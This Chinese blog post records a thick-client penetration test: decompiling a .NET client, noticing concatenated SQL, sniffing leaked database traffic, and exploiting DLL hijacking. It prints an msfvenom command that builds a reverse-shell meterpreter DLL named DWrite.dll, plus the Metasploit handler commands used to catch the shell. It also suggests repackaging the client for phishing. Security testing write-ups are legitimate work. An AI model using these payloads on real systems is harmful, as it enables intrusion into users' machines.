banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

记一次胖客户端程序渗透测试

image

胖客户端就是我们常说的 C/S 架构的应用程序,其主要特点是客户端执行部分应用逻辑,服务器端则提供存储和计算支持,两者之间通过网络进行通信和交互。而我们常说的 “瘦客户端” 就是基于 B/S 架构的应用程序,也就是基于浏览器的应用程序。

拿到一个胖客户端程序可以先看下胖客户端是什么架构,一般像后缀是 exe 结尾的,很多都是 C、C# 或者.NET 编译的。

可以通过 CFF Explorer 查看目标程序的架构,如下图。

image.png

可以看到,这是一个 32 位的程序,利用 Microsoft Visual Studio .NET 编译,是一个.net 程序。

像这种.NET 的程序,可以用 dnspy(GitHub - dnSpy/dnSpy: .NET debugger and assembly editor),DNspy 是一款著名的.NET 反编译器,可以反编译.NET 编译后的文件,包括可执行文件(exe)、DLL 文件、NET 程序集等。使用 DNspy 反编译 exe 文件可以方便地查看其源代码和内部结构,帮助理解和分析程序的运行机制。

image.png

可以从中看到 sql 语句查询,从这里我们可以看到 sql 语句未做任何过滤,直接拼接,但是这里直接加了单引号,导致每次查询都会多有一个单引号,没法绕过。

image.png

但是如果客户端程序可以直接反编译的话,那么如果说客户端程序在没做任何签名的情况下,可以重新编译,打包成另一个程序,后果就是可以伪造官方客户端,从中写入恶意文件,通过这种方式可以进行钓鱼等攻击。

此处不放图了,修改后,可以直接像正常客户端程序那样使用。

也可以通过 wireshark 或者科来对其流量进行检测,检测应用在传输的过程中是否泄漏敏感信息。

image.png

从上图可以看出,此胖客户端使用 tds 数据库协议,节点的 ip 地址、端口等内容。

image.png

还包括在传输过程中泄漏了 sql 语句

除了 wireshark 和科来等工具分析流量之外,echo mirage 也可以用来进行流量分析,可自行下载使用。

接下来,回到我们的这篇文章的正题,dll 劫持漏洞,既然是胖客户端应用,那么就会加载各类 dll 文件。

DLL 劫持(DLL Hijacking)是一种攻击技术,利用系统在加载动态链接库(DLL)时的搜索顺序错误或缺陷,在系统中寻找可用的 DLL 文件时,将正常的文件替换成恶意文件,使得系统加载并执行了被控制的 DLL 文件,达到攻击者的目的。

DLL 劫持攻击的危害大,可以被用于各种恶意活动,例如:

1、窃取敏感信息:恶意 DLL 文件可能会窃取用户的敏感信息,例如登录账号、密码等。
2、执行远程指令:通过劫持 DLL 文件,攻击者可能会远程控制用户的计算机执行恶意指令,例如下载、安装其他恶意程序等。
3、破坏系统的完整性和稳定性:劫持的 DLL 文件可能会破坏系统的安全性、完整性和稳定性,例如篡改系统设置、破坏系统文件等。

dll 劫持利用的第一步是获取可利用的 dll 文件。

这个时候就的使用 Sysinternals Suite 套件,利用套件下的 Procmon Monitor 工具,可以查看当前运行的程序的相关进程情况。

image.png

加载后可以看到各类当前运行程序的进程名、PID、路径等,按 ctrl+L 过滤处特定程序的进程。

image.png

同时如果目标程序加载了配置文件的话,通过这个工具也可以查看到。

既然是 dll 劫持,那么我们就要去找可利用的 dll。

image.png

在目标程序的目录下,找到了一个 DWrite.dll 文件,这个文件是 Windows 操作系统的一部分,它是 DirectWrite API 动态链接库文件。DirectWrite 是一个用于渲染文本和字体的 API,它使用硬件加速和先进的字体渲染技术来提供更高质量、更清晰的文本呈现效果。

在 Windows 系统中,许多应用程序(比如 Adobe Creative Suite 等)都会使用 DirectWrite 技术来渲染文本和字体,因此 dwrite.dll 文件在许多应用程序中都会被调用和使用。

可以通过搜索去搜索 NAME NOT FOUND 的这种进程。

image.png

找 dll 可以多尝试几个 dll 文件,除了找到 dll 文件,还需要了解 windows 下 dll 文件的加载顺序。

1、搜索应用程序所在目录
2、Windows 系统目录(如 C:\Windows\System32)
3、常规的 windows 目录( C:\Windows\System32 和 C:\Windows)
4、搜索 Administrator 类型的 Windows 系统目录(如 C:\Windows\SystemWOW64)
5、搜索 PATH 环境变量中的所有目录
6、当前工作目录

操作系统按照上述顺序在指定的目录和文件中查找 DLL 文件,并将它们加载到应用程序中。

了解了 dll 加载顺序,并且找到了 dll 文件,那么就可以开始构造恶意的 dll 文件了,通过 metasploit 框架来进行构造。

msfvenom -p windows/meterpreter/reverse_tcp LHOST= 192.168.100.100 LPORT=4444 -a x86 --platform Windows -f dll > DWrite.dll

# LHOST= 192.168.100.100,LHOST写上监听的ip

image.png

image.png

将 dll 文件复制到客户端目录下,启动 vps 上的 msf 进行监听,然后启动客户端 exe 程序,成功返回 shell。

msf6> use exploit/multi/handle
msf6> set payload windows/meterpreter/reverse_tcp
msf6> set lhost 192.168.100.100
msf6> set lport 4444
msf6> exploit

image.png

直接返回运行目标程序的客户端的系统 shell。


后续,写这篇文章是因为看到了一篇关于白加黑的文章(https://xz.aliyun.com/t/12376),看到其中的内容就是关于 dll 劫持的,发现自己以前也遇到过这种 dll 的漏洞,特此记录下。

图片来自

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。